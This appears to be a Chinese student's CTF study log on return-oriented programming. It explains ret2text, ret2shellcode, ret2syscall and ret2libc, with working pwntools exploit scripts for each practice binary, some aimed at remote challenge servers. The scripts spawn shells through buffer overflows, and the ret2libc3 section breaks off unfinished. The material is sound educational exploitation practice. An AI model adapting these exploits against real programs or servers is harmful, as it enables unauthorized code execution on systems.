基本ROP

ROP学习记录

ROP的全称为Return-oriented programming(返回导向编程)

保护机制:

DEP(堆栈不可执行)

ASLR(内存地址随机化)

Stack Protector(栈保护)

NX:No-eXecute(不可执行),基本原理是将数据所在的内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

主要思想:在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程

ROP攻击一般条件:

  • 程序存在溢出,并且可以控制返回地址
  • 可以找到满足条件的 gadgets(不相邻的程序已有的代码 ) 以及相应 gadgets 的地址

ret2text

原理

ret2text 即控制程序执行程序本身已有的的代码 (.text)

练习:

pwn1_1

checksec:

image-20230109174628094

image-20230109173622643

ida分析后发现这里读入是通过read,且这里的读取长度4096>buf的定义16,可造成溢出

这里可见后门函数:image-20230109174000217

这里分析buf函数以找出返回地址

image-20230109174152052

exp:

1
2
3
4
5
from pwn import *
p = remote("gxh191.top",25537)
p.recv()
p.send(b"a"*(16+8) + p64(0x40119E))
p.interactive()

CTFHUB_ret2text:

checksec:

image-20230109174720749

ida分析代码

image-20230109171259776

image-20230109171321263

image-20230109171458825

EXP如下:

1
2
3
4
5
6
7
from pwn import *

#sh = process('./ret2text')
sh= remote("challenge-b3dded864d8eec43.sandbox.ctfhub.com",26822)
target = 0x04007B8
sh.sendline(b'A' * (120) + p64(target))
sh.interactive()

ret2shellcode

原理:

即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码

**注意:**要想执行shellcode,需要对应的程序在运行时shellcode所在的位置具有可执行权限,

基本思路: 先找到溢出点,确定溢出位后看是否可在bss段写数据,确定可写后将shellcode的数据发送到bss段,最后通过覆盖跳转地址跳转到shellcode所在的地址进行执行

BSS段(bss segment)通常是指用来存放程序中未初始化的或者初始化为0全局变量局部静态变量的一块内存区域。BSS是英文Block Started by Symbol的简称。BSS段属于静态内存分配

练习

ret2shellcode

image-20230109175501253

程序几乎没有开启任何保护

这里ida分析:image-20230110101717904

看到将s的数据复制到了buf2,而buf2在.bss段:image-20230110101756013

exp:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())# asm(shellcraft.sh())该语句生成shellcode
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

pwn2_2

image-20230110113139785

这里修改了phone_number所在的bss段的权限,权限7表示可读可写可执行

image-20230110113321067

exp:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
from pwn import *
context(arch = 'amd64', os = 'linux')
sh = process('./pwn2_2')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x04040A0
sh.recv()
sh.sendline(shellcode)
sh.recv()
payload=b'a'*24+p64(buf2_addr)
sh.sendline(payload)
sh.interactive()

关于这里的context:

context 是 pwntools 用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题,一般来说我们设置context只需要简单的一句话:

1
>context(os='linux', arch='amd64', log_level='debug')

或者 context(os='linux', arch='amd64')

  1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
  2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
  3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。

ret2syscall

原理:

ret2syscall,即控制程序执行系统调用,获取 shell

前置条件:可以找到更改eax的gadget


32位程序:

目的是为了执行execve(“bin/sh”,NULL,NULL)

​ eax ebx ecx edx

​ 0xb ”bin/sh"的地址 0 0

最后要以int 0x80结尾

其中eax存储0xb是execve函数对应的系统调用号

1
2
3
4
5
//系统调用号的查看
32位:
cat /usr/include/asm/unistd_32.h
64位:
cat /usr/include/asm/unistd_64.h

通过ROPgadget工具进行查找gadget

1
2
3
4
5
6
7
1.ROPgadget找gadget
ROPgadget --binary filename --only ‘pop|ret' |grep 'eax'
文件名 寄存器名
|grep 'eax'可省略
2.ROPgadget找'/bin/sh'字符串
ROPgadget --binary filename --string"/bin/sh"
文件名

练习:

ctfwiki_ret2syscall

该程序是一个32位的程序:

image-20230111205640970

image-20230111205657037

通过ROPgadget查找需要的语句

image-20230111230849214

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb,pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

pwn3_1

image-20230111233344182

image-20230111233420990

ret2libc

原理:

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

练习:

ret2libc1(有’/bin/sh‘和system函数)

image-20230112000249091

找到ststem函数的地址和’/bin/sh‘的地址

image-20230112000212977

image-20230112000423520

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x8048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
#'如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以'bbbb' 作为虚假的地址,其后参数对应的参数内容。
sh.sendline(payload)

sh.interactive()

ret2libc2(有system函数无’/bin/sh’)

image-20230112003104812

没有开PIE,地址固定,所以可以将’bin/sh’写在bss段上

image-20230112005612873

image-20230112005755633

思路:通过gets函数溢出,再次调用gets函数,使得用户可以输入’/bin/sh‘,并通过gadget将’/bin/sh’写进bss段的buf2(不写在栈上是由于栈的地址不可控,而没有开PIE时,bss段地址时不变的),再通过调用system函数,执行system(‘/bin/sh’)

image-20230112011519750

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')
gets_addr=0x08048460
pop_ebp=0x0804843d
system_plt =0x8048490
bss_buf_addr=0x0804A080
payload = flat(['a' * 112,gets_addr,pop_ebp,bss_buf_addr,system_plt,'a' * 4,bss_buf_addr])

sh.sendline(payload)
sh.sendline('/bin/sh')#将'/bin/sh'通过上面调用的gets输入到buf2
sh.interactive()

image-20230112012732272

ret2libc3(无system函数无’/bin/sh’)

待完善…(在学)